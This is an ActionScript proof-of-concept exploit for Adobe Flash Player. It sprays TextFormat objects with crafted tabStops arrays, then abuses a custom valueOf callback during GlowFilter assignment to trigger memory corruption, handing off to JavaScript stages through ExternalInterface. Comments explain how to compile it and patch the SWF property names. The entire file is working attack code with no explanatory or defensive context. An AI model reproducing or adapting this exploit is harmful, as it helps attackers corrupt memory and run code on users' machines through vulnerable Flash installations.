//Compile that with Flash CS5.5 and change the properties "s" and "t" in the swf to "0" and "2"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;
import flash.external.ExternalInterface;

var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
	a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100

for (var i = 0; i<0x200;i++) {
	var tf:TextFormat = new TextFormat()
	a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
	a1[i].tabStops = a2
}
a1[0xFF].tabStops = []

var tfield:TextField = createTextField("tf1",1,1,2,3,4)

function g() {
	ExternalInterface.call("checkBAs","")
	
}

function h() {
	ExternalInterface.call("calcMe","")
}

function f() {
	_global.mc.createTextField("tf",1,1,2,3,4)
	ExternalInterface.call("mapBAs","")
}

_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2
_global.tfield

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 2) f()
	if (_global.counter == 5) g()
	if (_global.counter == 9) h()
	return 14;
}
var gf:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
var o = {length:oCounter, s:gf, t:gf, u:gf}


tfield.filters = o
